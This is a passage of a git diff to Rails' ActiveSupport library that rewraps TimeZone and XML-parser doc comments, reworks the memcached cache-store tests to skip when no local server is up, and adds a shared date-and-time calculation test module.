@@ -175,8 +182,8 @@ module ActiveSupport
UTC_OFFSET_WITH_COLON = '%s%02d:%02d'
UTC_OFFSET_WITHOUT_COLON = UTC_OFFSET_WITH_COLON.sub(':', '')
- # Assumes self represents an offset from UTC in seconds (as returned from Time#utc_offset)
- # and turns this into an +HH:MM formatted string.
+ # Assumes self represents an offset from UTC in seconds (as returned from
+ # Time#utc_offset) and turns this into an +HH:MM formatted string.
#
# TimeZone.seconds_to_utc_offset(-21_600) # => "-06:00"
def self.seconds_to_utc_offset(seconds, colon = true)
@@ -193,8 +200,8 @@ module ActiveSupport
# Create a new TimeZone object with the given name and offset. The
# offset is the number of seconds that this time zone is offset from UTC
- # (GMT). Seconds were chosen as the offset unit because that is the unit that
- # Ruby uses to represent time zone offsets (see Time#utc_offset).
+ # (GMT). Seconds were chosen as the offset unit because that is the unit
+ # that Ruby uses to represent time zone offsets (see Time#utc_offset).
def initialize(name, utc_offset = nil, tzinfo = nil)
self.class.send(:require_tzinfo)
@@ -228,7 +235,7 @@ module ActiveSupport
result
end
- # Compare #name and TZInfo identifier to a supplied regexp, returning true
+ # Compare #name and TZInfo identifier to a supplied regexp, returning +true+
# if a match is found.
def =~(re)
return true if name =~ re || MAPPING[name] =~ re
@@ -239,33 +246,37 @@ module ActiveSupport
"(GMT#{formatted_offset}) #{name}"
end
- # Method for creating new ActiveSupport::TimeWithZone instance in time zone of +self+ from given values.
+ # Method for creating new ActiveSupport::TimeWithZone instance in time zone
+ # of +self+ from given values.
#
- # Time.zone = "Hawaii" # => "Hawaii"
- # Time.zone.local(2007, 2, 1, 15, 30, 45) # => Thu, 01 Feb 2007 15:30:45 HST -10:00
+ # Time.zone = 'Hawaii' # => "Hawaii"
+ # Time.zone.local(2007, 2, 1, 15, 30, 45) # => Thu, 01 Feb 2007 15:30:45 HST -10:00
def local(*args)
time = Time.utc_time(*args)
ActiveSupport::TimeWithZone.new(nil, self, time)
end
- # Method for creating new ActiveSupport::TimeWithZone instance in time zone of +self+ from number of seconds since the Unix epoch.
+ # Method for creating new ActiveSupport::TimeWithZone instance in time zone
+ # of +self+ from number of seconds since the Unix epoch.
#
- # Time.zone = "Hawaii" # => "Hawaii"
+ # Time.zone = 'Hawaii' # => "Hawaii"
# Time.utc(2000).to_f # => 946684800.0
# Time.zone.at(946684800.0) # => Fri, 31 Dec 1999 14:00:00 HST -10:00
def at(secs)
Time.at(secs).utc.in_time_zone(self)
end
- # Method for creating new ActiveSupport::TimeWithZone instance in time zone of +self+ from parsed string.
+ # Method for creating new ActiveSupport::TimeWithZone instance in time zone
+ # of +self+ from parsed string.
#
- # Time.zone = "Hawaii" # => "Hawaii"
- # Time.zone.parse('1999-12-31 14:00:00') # => Fri, 31 Dec 1999 14:00:00 HST -10:00
+ # Time.zone = 'Hawaii' # => "Hawaii"
+ # Time.zone.parse('1999-12-31 14:00:00') # => Fri, 31 Dec 1999 14:00:00 HST -10:00
#
- # If upper components are missing from the string, they are supplied from TimeZone#now:
+ # If upper components are missing from the string, they are supplied from
+ # TimeZone#now:
#
- # Time.zone.now # => Fri, 31 Dec 1999 14:00:00 HST -10:00
- # Time.zone.parse('22:30:00') # => Fri, 31 Dec 1999 22:30:00 HST -10:00
+ # Time.zone.now # => Fri, 31 Dec 1999 14:00:00 HST -10:00
+ # Time.zone.parse('22:30:00') # => Fri, 31 Dec 1999 22:30:00 HST -10:00
def parse(str, now=now)
date_parts = Date._parse(str)
return if date_parts.empty?
@@ -282,8 +293,8 @@ module ActiveSupport
end
end
- # Returns an ActiveSupport::TimeWithZone instance representing the current time
- # in the time zone represented by +self+.
+ # Returns an ActiveSupport::TimeWithZone instance representing the current
+ # time in the time zone represented by +self+.
#
# Time.zone = 'Hawaii' # => "Hawaii"
# Time.zone.now # => Wed, 23 Jan 2008 20:24:27 HST -10:00
@@ -296,23 +307,27 @@ module ActiveSupport
tzinfo.now.to_date
end
- # Adjust the given time to the simultaneous time in the time zone represented by +self+. Returns a
- # Time.utc() instance -- if you want an ActiveSupport::TimeWithZone instance, use Time#in_time_zone() instead.
+ # Adjust the given time to the simultaneous time in the time zone
+ # represented by +self+. Returns a Time.utc() instance -- if you want an
+ # ActiveSupport::TimeWithZone instance, use Time#in_time_zone() instead.
def utc_to_local(time)
tzinfo.utc_to_local(time)
end
- # Adjust the given time to the simultaneous time in UTC. Returns a Time.utc() instance.
+ # Adjust the given time to the simultaneous time in UTC. Returns a
+ # Time.utc() instance.
def local_to_utc(time, dst=true)
tzinfo.local_to_utc(time, dst)
end
- # Available so that TimeZone instances respond like TZInfo::Timezone instances
+ # Available so that TimeZone instances respond like TZInfo::Timezone
+ # instances.
def period_for_utc(time)
tzinfo.period_for_utc(time)
end
- # Available so that TimeZone instances respond like TZInfo::Timezone instances
+ # Available so that TimeZone instances respond like TZInfo::Timezone
+ # instances.
def period_for_local(time, dst=true)
tzinfo.period_for_local(time, dst)
end
diff --git a/activesupport/lib/active_support/xml_mini/libxml.rb b/activesupport/lib/active_support/xml_mini/libxml.rb
index 26556598fd..47a2824186 100644
--- a/activesupport/lib/active_support/xml_mini/libxml.rb
+++ b/activesupport/lib/active_support/xml_mini/libxml.rb
@@ -37,7 +37,7 @@ module LibXML #:nodoc:
module Node #:nodoc:
CONTENT_ROOT = '__content__'.freeze
- # Convert XML document to hash
+ # Convert XML document to hash.
#
# hash::
# Hash to merge the converted element into.
diff --git a/activesupport/lib/active_support/xml_mini/nokogiri.rb b/activesupport/lib/active_support/xml_mini/nokogiri.rb
index bb0a52bdcf..7398d4fa82 100644
--- a/activesupport/lib/active_support/xml_mini/nokogiri.rb
+++ b/activesupport/lib/active_support/xml_mini/nokogiri.rb
@@ -40,7 +40,7 @@ module ActiveSupport
module Node #:nodoc:
CONTENT_ROOT = '__content__'.freeze
- # Convert XML document to hash
+ # Convert XML document to hash.
#
# hash::
# Hash to merge the converted element into.
diff --git a/activesupport/lib/active_support/xml_mini/rexml.rb b/activesupport/lib/active_support/xml_mini/rexml.rb
index a2a87337a6..5c7c78bf70 100644
--- a/activesupport/lib/active_support/xml_mini/rexml.rb
+++ b/activesupport/lib/active_support/xml_mini/rexml.rb
@@ -8,7 +8,7 @@ module ActiveSupport
CONTENT_KEY = '__content__'.freeze
- # Parse an XML Document string or IO into a simple hash
+ # Parse an XML Document string or IO into a simple hash.
#
# Same as XmlSimple::xml_in but doesn't shoot itself in the foot,
# and uses the defaults from Active Support.
diff --git a/activesupport/test/abstract_unit.rb b/activesupport/test/abstract_unit.rb
index 34c9e920bc..8a67b148c3 100644
--- a/activesupport/test/abstract_unit.rb
+++ b/activesupport/test/abstract_unit.rb
@@ -21,15 +21,5 @@ require 'empty_bool'
ENV['NO_RELOAD'] = '1'
require 'active_support'
-def uses_memcached(test_name)
- require 'dalli'
- begin
- Dalli::Client.new('localhost:11211').stats
- yield
- rescue Dalli::DalliError
- $stderr.puts "Skipping #{test_name} tests. Start memcached and try again."
- end
-end
-
# Show backtraces for deprecated behavior for quicker cleanup.
ActiveSupport::Deprecation.debug = true
diff --git a/activesupport/test/autoload.rb b/activesupport/test/autoload_test.rb
index 5d8026a9ca..7d02d835a8 100644
--- a/activesupport/test/autoload.rb
+++ b/activesupport/test/autoload_test.rb
@@ -28,15 +28,6 @@ class TestAutoloadModule < ActiveSupport::TestCase
assert_nothing_raised { ::Fixtures::Autoload::SomeClass }
end
- test ":eager constants can be triggered via ActiveSupport::Autoload.eager_autoload!" do
- module ::Fixtures::Autoload
- autoload :SomeClass, "fixtures/autoload/some_class"
- end
- ActiveSupport::Autoload.eager_autoload!
- assert $LOADED_FEATURES.include?("fixtures/autoload/some_class.rb")
- assert_nothing_raised { ::Fixtures::Autoload::SomeClass }
- end
-
test "the location of autoloaded constants defaults to :name.underscore" do
module ::Fixtures::Autoload
autoload :SomeClass
@@ -51,8 +42,7 @@ class TestAutoloadModule < ActiveSupport::TestCase
autoload :SomeClass
end
- ActiveSupport::Autoload.eager_autoload!
- assert $LOADED_FEATURES.include?("fixtures/autoload/some_class.rb")
+ ::Fixtures::Autoload.eager_load!
assert_nothing_raised { ::Fixtures::Autoload::SomeClass }
end
diff --git a/activesupport/test/autoloading_fixtures/circular1.rb b/activesupport/test/autoloading_fixtures/circular1.rb
new file mode 100644
index 0000000000..a45761f066
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/circular1.rb
@@ -0,0 +1,6 @@
+silence_warnings do
+ Circular2
+end
+
+class Circular1
+end
diff --git a/activesupport/test/autoloading_fixtures/circular2.rb b/activesupport/test/autoloading_fixtures/circular2.rb
new file mode 100644
index 0000000000..c847fa5001
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/circular2.rb
@@ -0,0 +1,4 @@
+Circular1
+
+class Circular2
+end
diff --git a/activesupport/test/autoloading_fixtures/class_folder/class_folder_subclass.rb b/activesupport/test/autoloading_fixtures/class_folder/class_folder_subclass.rb
index ef66ddaac7..402609c583 100644
--- a/activesupport/test/autoloading_fixtures/class_folder/class_folder_subclass.rb
+++ b/activesupport/test/autoloading_fixtures/class_folder/class_folder_subclass.rb
@@ -1,3 +1,3 @@
class ClassFolder::ClassFolderSubclass < ClassFolder
- ConstantInClassFolder
+ ConstantInClassFolder = 'indeed'
end
diff --git a/activesupport/test/caching_test.rb b/activesupport/test/caching_test.rb
index 5056d8deb8..71cd9d81b3 100644
--- a/activesupport/test/caching_test.rb
+++ b/activesupport/test/caching_test.rb
@@ -704,53 +704,65 @@ class MemoryStoreTest < ActiveSupport::TestCase
end
end
-uses_memcached 'memcached backed store' do
- class MemCacheStoreTest < ActiveSupport::TestCase
- def setup
- @cache = ActiveSupport::Cache.lookup_store(:mem_cache_store, :expires_in => 60)
- @peek = ActiveSupport::Cache.lookup_store(:mem_cache_store)
- @data = @cache.instance_variable_get(:@data)
- @cache.clear
- @cache.silence!
- @cache.logger = ActiveSupport::Logger.new("/dev/null")
- end
+class MemCacheStoreTest < ActiveSupport::TestCase
+ require 'dalli'
+
+ begin
+ ss = Dalli::Client.new('localhost:11211').stats
+ raise Dalli::DalliError unless ss['localhost:11211']
+
+ MEMCACHE_UP = true
+ rescue Dalli::DalliError
+ $stderr.puts "Skipping memcached tests. Start memcached and try again."
+ MEMCACHE_UP = false
+ end
+
+ def setup
+ skip "memcache server is not up" unless MEMCACHE_UP
+
+ @cache = ActiveSupport::Cache.lookup_store(:mem_cache_store, :expires_in => 60)
+ @peek = ActiveSupport::Cache.lookup_store(:mem_cache_store)
+ @data = @cache.instance_variable_get(:@data)
+ @cache.clear
+ @cache.silence!
+ @cache.logger = ActiveSupport::Logger.new("/dev/null")
+ end
+
+ include CacheStoreBehavior
+ include LocalCacheBehavior
+ include CacheIncrementDecrementBehavior
+ include EncodedKeyCacheBehavior
+
+ def test_raw_values
+ cache = ActiveSupport::Cache.lookup_store(:mem_cache_store, :raw => true)
+ cache.clear
+ cache.write("foo", 2)
+ assert_equal "2", cache.read("foo")
+ end
- include CacheStoreBehavior
- include LocalCacheBehavior
- include CacheIncrementDecrementBehavior
- include EncodedKeyCacheBehavior
+ def test_raw_values_with_marshal
+ cache = ActiveSupport::Cache.lookup_store(:mem_cache_store, :raw => true)
+ cache.clear
+ cache.write("foo", Marshal.dump([]))
+ assert_equal [], cache.read("foo")
+ end
- def test_raw_values
- cache = ActiveSupport::Cache.lookup_store(:mem_cache_store, :raw => true)
- cache.clear
+ def test_local_cache_raw_values
+ cache = ActiveSupport::Cache.lookup_store(:mem_cache_store, :raw => true)
+ cache.clear
+ cache.with_local_cache do
cache.write("foo", 2)
assert_equal "2", cache.read("foo")
end
+ end
- def test_raw_values_with_marshal
- cache = ActiveSupport::Cache.lookup_store(:mem_cache_store, :raw => true)
- cache.clear
+ def test_local_cache_raw_values_with_marshal
+ cache = ActiveSupport::Cache.lookup_store(:mem_cache_store, :raw => true)
+ cache.clear
+ cache.with_local_cache do
cache.write("foo", Marshal.dump([]))
assert_equal [], cache.read("foo")
end
-
- def test_local_cache_raw_values
- cache = ActiveSupport::Cache.lookup_store(:mem_cache_store, :raw => true)
- cache.clear
- cache.with_local_cache do
- cache.write("foo", 2)
- assert_equal "2", cache.read("foo")
- end
- end
-
- def test_local_cache_raw_values_with_marshal
- cache = ActiveSupport::Cache.lookup_store(:mem_cache_store, :raw => true)
- cache.clear
- cache.with_local_cache do
- cache.write("foo", Marshal.dump([]))
- assert_equal [], cache.read("foo")
- end
- end
end
end
diff --git a/activesupport/test/configurable_test.rb b/activesupport/test/configurable_test.rb
index da7729d066..215a6e06b0 100644
--- a/activesupport/test/configurable_test.rb
+++ b/activesupport/test/configurable_test.rb
@@ -48,6 +48,18 @@ class ConfigurableActiveSupport < ActiveSupport::TestCase
assert !instance.respond_to?(:baz=)
end
+ test "configuration accessors can take a default value" do
+ parent = Class.new do
+ include ActiveSupport::Configurable
+ config_accessor :hair_colors, :tshirt_colors do
+ [:black, :blue, :white]
+ end
+ end
+
+ assert_equal [:black, :blue, :white], parent.hair_colors
+ assert_equal [:black, :blue, :white], parent.tshirt_colors
+ end
+
test "configuration hash is available on instance" do
instance = Parent.new
assert_equal :bar, instance.config.foo
@@ -78,7 +90,7 @@ class ConfigurableActiveSupport < ActiveSupport::TestCase
test "should raise name error if attribute name is invalid" do
assert_raises NameError do
- Class.new do
+ Class.new do
include ActiveSupport::Configurable
config_accessor "invalid attribute name"
end
@@ -94,4 +106,4 @@ class ConfigurableActiveSupport < ActiveSupport::TestCase
methods = object.public_methods.map(&:to_s)
assert !methods.include?(method.to_s), "Expected #{methods.inspect} to not include #{method.to_s.inspect}"
end
-end \ No newline at end of file
+end
diff --git a/activesupport/test/core_ext/date_and_time_behavior.rb b/activesupport/test/core_ext/date_and_time_behavior.rb
new file mode 100644
index 0000000000..9927856aa2
--- /dev/null
+++ b/activesupport/test/core_ext/date_and_time_behavior.rb
@@ -0,0 +1,236 @@
+require 'abstract_unit'
+
+module DateAndTimeBehavior
+ def test_yesterday
+ assert_equal date_time_init(2005,2,21,10,10,10), date_time_init(2005,2,22,10,10,10).yesterday
+ assert_equal date_time_init(2005,2,28,10,10,10), date_time_init(2005,3,2,10,10,10).yesterday.yesterday
+ end
+
+ def test_tomorrow
+ assert_equal date_time_init(2005,2,23,10,10,10), date_time_init(2005,2,22,10,10,10).tomorrow
+ assert_equal date_time_init(2005,3,2,10,10,10), date_time_init(2005,2,28,10,10,10).tomorrow.tomorrow
+ end
+
+ def test_days_ago
+ assert_equal date_time_init(2005,6,4,10,10,10), date_time_init(2005,6,5,10,10,10).days_ago(1)
+ assert_equal date_time_init(2005,5,31,10,10,10), date_time_init(2005,6,5,10,10,10).days_ago(5)
+ end
+
+ def test_days_since
+ assert_equal date_time_init(2005,6,6,10,10,10), date_time_init(2005,6,5,10,10,10).days_since(1)
+ assert_equal date_time_init(2005,1,1,10,10,10), date_time_init(2004,12,31,10,10,10).days_since(1)
+ end
+
+ def test_weeks_ago
+ assert_equal date_time_init(2005,5,29,10,10,10), date_time_init(2005,6,5,10,10,10).weeks_ago(1)
+ assert_equal date_time_init(2005,5,1,10,10,10), date_time_init(2005,6,5,10,10,10).weeks_ago(5)
+ assert_equal date_time_init(2005,4,24,10,10,10), date_time_init(2005,6,5,10,10,10).weeks_ago(6)
+ assert_equal date_time_init(2005,2,27,10,10,10), date_time_init(2005,6,5,10,10,10).weeks_ago(14)
+ assert_equal date_time_init(2004,12,25,10,10,10), date_time_init(2005,1,1,10,10,10).weeks_ago(1)
+ end
+
+ def test_weeks_since
+ assert_equal date_time_init(2005,7,14,10,10,10), date_time_init(2005,7,7,10,10,10).weeks_since(1)
+ assert_equal date_time_init(2005,7,14,10,10,10), date_time_init(2005,7,7,10,10,10).weeks_since(1)
+ assert_equal date_time_init(2005,7,4,10,10,10), date_time_init(2005,6,27,10,10,10).weeks_since(1)
+ assert_equal date_time_init(2005,1,4,10,10,10), date_time_init(2004,12,28,10,10,10).weeks_since(1)
+ end
+
+ def test_months_ago
+ assert_equal date_time_init(2005,5,5,10,10,10), date_time_init(2005,6,5,10,10,10).months_ago(1)
+ assert_equal date_time_init(2004,11,5,10,10,10), date_time_init(2005,6,5,10,10,10).months_ago(7)
+ assert_equal date_time_init(2004,12,5,10,10,10), date_time_init(2005,6,5,10,10,10).months_ago(6)
+ assert_equal date_time_init(2004,6,5,10,10,10), date_time_init(2005,6,5,10,10,10).months_ago(12)
+ assert_equal date_time_init(2003,6,5,10,10,10), date_time_init(2005,6,5,10,10,10).months_ago(24)
+ end
+
+ def test_months_since
+ assert_equal date_time_init(2005,7,5,10,10,10), date_time_init(2005,6,5,10,10,10).months_since(1)
+ assert_equal date_time_init(2006,1,5,10,10,10), date_time_init(2005,12,5,10,10,10).months_since(1)
+ assert_equal date_time_init(2005,12,5,10,10,10), date_time_init(2005,6,5,10,10,10).months_since(6)
+ assert_equal date_time_init(2006,6,5,10,10,10), date_time_init(2005,12,5,10,10,10).months_since(6)
+ assert_equal date_time_init(2006,1,5,10,10,10), date_time_init(2005,6,5,10,10,10).months_since(7)
+ assert_equal date_time_init(2006,6,5,10,10,10), date_time_init(2005,6,5,10,10,10).months_since(12)
+ assert_equal date_time_init(2007,6,5,10,10,10), date_time_init(2005,6,5,10,10,10).months_since(24)
+ assert_equal date_time_init(2005,4,30,10,10,10), date_time_init(2005,3,31,10,10,10).months_since(1)
+ assert_equal date_time_init(2005,2,28,10,10,10), date_time_init(2005,1,29,10,10,10).months_since(1)
+ assert_equal date_time_init(2005,2,28,10,10,10), date_time_init(2005,1,30,10,10,10).months_since(1)
+ assert_equal date_time_init(2005,2,28,10,10,10), date_time_init(2005,1,31,10,10,10).months_since(1)
+ end
+
+ def test_years_ago
+ assert_equal date_time_init(2004,6,5,10,10,10), date_time_init(2005,6,5,10,10,10).years_ago(1)
+ assert_equal date_time_init(1998,6,5,10,10,10), date_time_init(2005,6,5,10,10,10).years_ago(7)
+ assert_equal date_time_init(2003,2,28,10,10,10), date_time_init(2004,2,29,10,10,10).years_ago(1) # 1 year ago from leap day
+ end
+
+ def test_years_since
+ assert_equal date_time_init(2006,6,5,10,10,10), date_time_init(2005,6,5,10,10,10).years_since(1)
+ assert_equal date_time_init(2012,6,5,10,10,10), date_time_init(2005,6,5,10,10,10).years_since(7)
+ assert_equal date_time_init(2005,2,28,10,10,10), date_time_init(2004,2,29,10,10,10).years_since(1) # 1 year since leap day
+ assert_equal date_time_init(2182,6,5,10,10,10), date_time_init(2005,6,5,10,10,10).years_since(177)
+ end
+
+ def test_beginning_of_month
+ assert_equal date_time_init(2005,2,1,0,0,0), date_time_init(2005,2,22,10,10,10).beginning_of_month
+ end
+
+ def test_beginning_of_quarter
+ assert_equal date_time_init(2005,1,1,0,0,0), date_time_init(2005,2,15,10,10,10).beginning_of_quarter
+ assert_equal date_time_init(2005,1,1,0,0,0), date_time_init(2005,1,1,0,0,0).beginning_of_quarter
+ assert_equal date_time_init(2005,10,1,0,0,0), date_time_init(2005,12,31,10,10,10).beginning_of_quarter
+ assert_equal date_time_init(2005,4,1,0,0,0), date_time_init(2005,6,30,23,59,59).beginning_of_quarter
+ end
+
+ def test_end_of_quarter
+ assert_equal date_time_init(2007,3,31,23,59,59,Rational(999999999, 1000)), date_time_init(2007,2,15,10,10,10).end_of_quarter
+ assert_equal date_time_init(2007,3,31,23,59,59,Rational(999999999, 1000)), date_time_init(2007,3,31,0,0,0).end_of_quarter
+ assert_equal date_time_init(2007,12,31,23,59,59,Rational(999999999, 1000)), date_time_init(2007,12,21,10,10,10).end_of_quarter
+ assert_equal date_time_init(2007,6,30,23,59,59,Rational(999999999, 1000)), date_time_init(2007,4,1,0,0,0).end_of_quarter
+ assert_equal date_time_init(2008,6,30,23,59,59,Rational(999999999, 1000)), date_time_init(2008,5,31,0,0,0).end_of_quarter
+ end
+
+ def test_beginning_of_year
+ assert_equal date_time_init(2005,1,1,0,0,0), date_time_init(2005,2,22,10,10,10).beginning_of_year
+ end
+
+ def test_next_week
+ assert_equal date_time_init(2005,2,28,0,0,0), date_time_init(2005,2,22,15,15,10).next_week
+ assert_equal date_time_init(2005,3,4,0,0,0), date_time_init(2005,2,22,15,15,10).next_week(:friday)
+ assert_equal date_time_init(2006,10,30,0,0,0), date_time_init(2006,10,23,0,0,0).next_week
+ assert_equal date_time_init(2006,11,1,0,0,0), date_time_init(2006,10,23,0,0,0).next_week(:wednesday)
+ end
+
+ def test_next_week_with_default_beginning_of_week_set
+ with_bw_default(:tuesday) do
+ assert_equal Time.local(2012, 3, 28), Time.local(2012, 3, 21).next_week(:wednesday)
+ assert_equal Time.local(2012, 3, 31), Time.local(2012, 3, 21).next_week(:saturday)
+ assert_equal Time.local(2012, 3, 27), Time.local(2012, 3, 21).next_week(:tuesday)
+ assert_equal Time.local(2012, 4, 02), Time.local(2012, 3, 21).next_week(:monday)
+ end
+ end
+
+ def test_next_month_on_31st
+ assert_equal date_time_init(2005,9,30,15,15,10), date_time_init(2005,8,31,15,15,10).next_month
+ end
+
+ def test_next_quarter_on_31st
+ assert_equal date_time_init(2005,11,30,15,15,10), date_time_init(2005,8,31,15,15,10).next_quarter
+ end
+
+ def test_next_year
+ assert_equal date_time_init(2006,6,5,10,10,10), date_time_init(2005,6,5,10,10,10).next_year
+ end
+
+ def test_prev_week
+ assert_equal date_time_init(2005,2,21,0,0,0), date_time_init(2005,3,1,15,15,10).prev_week
+ assert_equal date_time_init(2005,2,22,0,0,0), date_time_init(2005,3,1,15,15,10).prev_week(:tuesday)
+ assert_equal date_time_init(2005,2,25,0,0,0), date_time_init(2005,3,1,15,15,10).prev_week(:friday)
+ assert_equal date_time_init(2006,10,30,0,0,0), date_time_init(2006,11,6,0,0,0).prev_week
+ assert_equal date_time_init(2006,11,15,0,0,0), date_time_init(2006,11,23,0,0,0).prev_week(:wednesday)
+ end
+
+ def test_prev_week_with_default_beginning_of_week
+ with_bw_default(:tuesday) do
+ assert_equal Time.local(2012, 3, 14), Time.local(2012, 3, 21).prev_week(:wednesday)
+ assert_equal Time.local(2012, 3, 17), Time.local(2012, 3, 21).prev_week(:saturday)
+ assert_equal Time.local(2012, 3, 13), Time.local(2012, 3, 21).prev_week(:tuesday)
+ assert_equal Time.local(2012, 3, 19), Time.local(2012, 3, 21).prev_week(:monday)
+ end
+ end
+
+ def test_prev_month_on_31st
+ assert_equal date_time_init(2004,2,29,10,10,10), date_time_init(2004,3,31,10,10,10).prev_month
+ end
+
+ def test_prev_quarter_on_31st
+ assert_equal date_time_init(2004,2,29,10,10,10), date_time_init(2004,5,31,10,10,10).prev_quarter
+ end
+
+ def test_prev_year
+ assert_equal date_time_init(2004,6,5,10,10,10), date_time_init(2005,6,5,10,10,10).prev_year
+ end
+
+ def test_days_to_week_start
+ assert_equal 0, date_time_init(2011,11,01,0,0,0).days_to_week_start(:tuesday)
+ assert_equal 1, date_time_init(2011,11,02,0,0,0).days_to_week_start(:tuesday)
+ assert_equal 2, date_time_init(2011,11,03,0,0,0).days_to_week_start(:tuesday)
+ assert_equal 3, date_time_init(2011,11,04,0,0,0).days_to_week_start(:tuesday)
+ assert_equal 4, date_time_init(2011,11,05,0,0,0).days_to_week_start(:tuesday)
+ assert_equal 5, date_time_init(2011,11,06,0,0,0).days_to_week_start(:tuesday)
+ assert_equal 6, date_time_init(2011,11,07,0,0,0).days_to_week_start(:tuesday)
+
+ assert_equal 3, date_time_init(2011,11,03,0,0,0).days_to_week_start(:monday)
+ assert_equal 3, date_time_init(2011,11,04,0,0,0).days_to_week_start(:tuesday)
+ assert_equal 3, date_time_init(2011,11,05,0,0,0).days_to_week_start(:wednesday)
+ assert_equal 3, date_time_init(2011,11,06,0,0,0).days_to_week_start(:thursday)
+ assert_equal 3, date_time_init(2011,11,07,0,0,0).days_to_week_start(:friday)
+ assert_equal 3, date_time_init(2011,11,8,0,0,0).days_to_week_start(:saturday)
+ assert_equal 3, date_time_init(2011,11,9,0,0,0).days_to_week_start(:sunday)
+ end
+
+ def test_days_to_week_start_with_default_set
+ with_bw_default(:friday) do
+ assert_equal 6, Time.local(2012,03,8,0,0,0).days_to_week_start
+ assert_equal 5, Time.local(2012,03,7,0,0,0).days_to_week_start
+ assert_equal 4, Time.local(2012,03,6,0,0,0).days_to_week_start
+ assert_equal 3, Time.local(2012,03,5,0,0,0).days_to_week_start
+ assert_equal 2, Time.local(2012,03,4,0,0,0).days_to_week_start
+ assert_equal 1, Time.local(2012,03,3,0,0,0).days_to_week_start
+ assert_equal 0, Time.local(2012,03,2,0,0,0).days_to_week_start
+ end
+ end
+
+ def test_beginning_of_week
+ assert_equal date_time_init(2005,1,31,0,0,0), date_time_init(2005,2,4,10,10,10).beginning_of_week
+ assert_equal date_time_init(2005,11,28,0,0,0), date_time_init(2005,11,28,0,0,0).beginning_of_week #monday
+ assert_equal date_time_init(2005,11,28,0,0,0), date_time_init(2005,11,29,0,0,0).beginning_of_week #tuesday
+ assert_equal date_time_init(2005,11,28,0,0,0), date_time_init(2005,11,30,0,0,0).beginning_of_week #wednesday
+ assert_equal date_time_init(2005,11,28,0,0,0), date_time_init(2005,12,01,0,0,0).beginning_of_week #thursday
+ assert_equal date_time_init(2005,11,28,0,0,0), date_time_init(2005,12,02,0,0,0).beginning_of_week #friday
+ assert_equal date_time_init(2005,11,28,0,0,0), date_time_init(2005,12,03,0,0,0).beginning_of_week #saturday
+ assert_equal date_time_init(2005,11,28,0,0,0), date_time_init(2005,12,04,0,0,0).beginning_of_week #sunday
+ end
+
+ def test_end_of_week
+ assert_equal date_time_init(2008,1,6,23,59,59,Rational(999999999, 1000)), date_time_init(2007,12,31,10,10,10).end_of_week
+ assert_equal date_time_init(2007,9,2,23,59,59,Rational(999999999, 1000)), date_time_init(2007,8,27,0,0,0).end_of_week #monday
+ assert_equal date_time_init(2007,9,2,23,59,59,Rational(999999999, 1000)), date_time_init(2007,8,28,0,0,0).end_of_week #tuesday
+ assert_equal date_time_init(2007,9,2,23,59,59,Rational(999999999, 1000)), date_time_init(2007,8,29,0,0,0).end_of_week #wednesday
+ assert_equal date_time_init(2007,9,2,23,59,59,Rational(999999999, 1000)), date_time_init(2007,8,30,0,0,0).end_of_week #thursday
+ assert_equal date_time_init(2007,9,2,23,59,59,Rational(999999999, 1000)), date_time_init(2007,8,31,0,0,0).end_of_week #friday
+ assert_equal date_time_init(2007,9,2,23,59,59,Rational(999999999, 1000)), date_time_init(2007,9,01,0,0,0).end_of_week #saturday
+ assert_equal date_time_init(2007,9,2,23,59,59,Rational(999999999, 1000)), date_time_init(2007,9,02,0,0,0).end_of_week #sunday
+ end
+
+ def test_end_of_month
+ assert_equal date_time_init(2005,3,31,23,59,59,Rational(999999999, 1000)), date_time_init(2005,3,20,10,10,10).end_of_month
+ assert_equal date_time_init(2005,2,28,23,59,59,Rational(999999999, 1000)), date_time_init(2005,2,20,10,10,10).end_of_month
+ assert_equal date_time_init(2005,4,30,23,59,59,Rational(999999999, 1000)), date_time_init(2005,4,20,10,10,10).end_of_month
+ end
+
+ def test_end_of_year
+ assert_equal date_time_init(2007,12,31,23,59,59,Rational(999999999, 1000)), date_time_init(2007,2,22,10,10,10).end_of_year
+ assert_equal date_time_init(2007,12,31,23,59,59,Rational(999999999, 1000)), date_time_init(2007,12,31,10,10,10).end_of_year
+ end
+
+ def test_monday_with_default_beginning_of_week_set
+ with_bw_default(:saturday) do
+ assert_equal date_time_init(2012,9,17,0,0,0), date_time_init(2012,9,18,0,0,0).monday
+ end
+ end
+
+ def test_sunday_with_default_beginning_of_week_set
+ with_bw_default(:wednesday) do
+ assert_equal date_time_init(2012,9,23,23,59,59, Rational(999999999, 1000)), date_time_init(2012,9,19,0,0,0).sunday
+ end
+ end
+
+ def with_bw_default(bw = :monday)
+ old_bw = Date.beginning_of_week
+ Date.beginning_of_week = bw
+ yield
+ ensure
+ Date.beginning_of_week = old_bw
+ end
+end
diff --git a/activesupport/test/core_ext/date_ext_test.rb b/activesupport/test/core_ext/date_ext_test.rb
index 088b74a29a..7ae1f67785 100644
--- a/activesupport/test/core_ext/date_ext_test.rb
+++ b/activesupport/test/core_ext/date_ext_test.rb
@@ -1,7 +1,22 @@
require 'abstract_unit'
require 'active_support/time'
+require 'core_ext/date_and_time_behavior'
class DateExtCalculationsTest < ActiveSupport::TestCase
+ def date_time_init(year,month,day,*args)
+ Date.new(year,month,day)
+ end
+
+ include DateAndTimeBehavior
+
+ def test_yesterday_in_calendar_reform
+ assert_equal Date.new(1582,10,4), Date.new(1582,10,15).yesterday
+ end
+
+ def test_tomorrow_in_calendar_reform
+ assert_equal Date.new(1582,10,15), Date.new(1582,10,4).tomorrow
+ end
+
def test_to_s
date = Date.new(2005, 2, 21)
assert_equal "2005-02-21", date.to_s
@@ -46,22 +61,6 @@ class DateExtCalculationsTest < ActiveSupport::TestCase
assert_equal Date.new(2005,6,22), Date.new(2005,2,22).change(:month => 6)
end
- def test_beginning_of_week
- assert_equal Date.new(2005,1,31), Date.new(2005,2,4).beginning_of_week
- assert_equal Date.new(2005,11,28), Date.new(2005,11,28).beginning_of_week #monday
- assert_equal Date.new(2005,11,28), Date.new(2005,11,29).beginning_of_week #tuesday
- assert_equal Date.new(2005,11,28), Date.new(2005,11,30).beginning_of_week #wednesday
- assert_equal Date.new(2005,11,28), Date.new(2005,12,01).beginning_of_week #thursday
- assert_equal Date.new(2005,11,28), Date.new(2005,12,02).beginning_of_week #friday
- assert_equal Date.new(2005,11,28), Date.new(2005,12,03).beginning_of_week #saturday
- assert_equal Date.new(2005,11,28), Date.new(2005,12,04).beginning_of_week #sunday
- end
-
- def test_monday
- assert_equal Date.new(2005,11,28), Date.new(2005,11,28).monday
- assert_equal Date.new(2005,11,28), Date.new(2005,12,01).monday
- end
-
